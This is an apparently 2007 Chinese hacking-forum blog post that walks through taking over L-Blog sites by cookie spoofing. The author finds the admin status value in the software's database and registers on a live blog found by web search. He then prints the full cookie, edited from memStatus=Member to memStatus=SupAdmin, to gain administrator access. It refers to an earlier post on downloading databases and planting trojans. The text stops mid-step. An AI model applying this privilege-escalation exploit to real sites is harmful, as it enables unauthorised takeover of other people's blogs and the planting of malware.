http://www.kevinskyz.cn/ 个人网站QQ:282341673

【黑基原创】入侵BLOG之欺骗COOKIES篇

上一篇 / 下一篇 2007-02-28 16:57:06 / 个人分类：入侵

查看( 95 ) / 评论( 5 )

  大家好，上次我给大家讲了一个入侵BLOG并挂马的教程。我上次已经说过有2种方法了。
  上次用的是直接下载数据库的方法，那么这次我给大家讲另外一种方法。

  就是利用cookies欺骗。

  cookies看起来很难，但是你操作起来却十分简便。这次我就不讲如何挂马了，因为你进入到后台
  就已经为所欲为了，这样节约时间嘛。。。

  我们用L-Blog来做教程哈。

  今天我们要用到的工具是老兵的MyBrowser.

  由于cookies欺骗需要知道管理员的标识，所以我们先分析一下L-Blog的系统。
  我下载了一个L-Blog。我们打开文件夹，如图

  有一个blogdata，貌似与数据库有关，打开，看到一个blog的数据库文件，我用明小子打开。
  有个member的表名，打开。这有个默认的管理员账号，我们发现有一项属性名为mem_Status。如图，其中
  SupAdmin就是管理员标示。

  好了，现在正式开始。百度搜索L-Blog。OK，找到一个

  我们先注册一个账号。用户名kz, 密码为kevinsky的用户。注册成功。

  好了，现在打开老兵的MyBrowser。输入刚才的用户并登陆

  现在注意右上角的cookies，现在的cookies为
  PLBlogSet=MenuSet=1&TopView=1&DisplayType=1&enableEnglish=1&DblScroll=1; ASPSESSIONIDCARBAACS=ELPHIBKCBPILLCHHFIJMAONC; PLBlog=memPassword=64A6F46DD2561F7060B69756CAFDDD10&memStatus=Member&memName=kz

  其中memStatus=Member的一句，Member代表普通用户，我们刚才知道了管理员标识是SupAdmin。

所以我们把它该成memStatus=SupAdmin，所以这时候的cookies就是

PLBlogSet=MenuSet=1&TopView=1&DisplayType=1&enableEnglish=1&DblScroll=1; ASPSESSIONIDCARBAACS=ELPHIBKCBPILLCHHFIJMAONC; PLBlog=memPassword=64A6F46DD2561F7060B69756CAFDDD10&memStatus=SupAdmin&memName=kz


单击窗口的“设置自定义cookies”然后把修改后的coolies打上去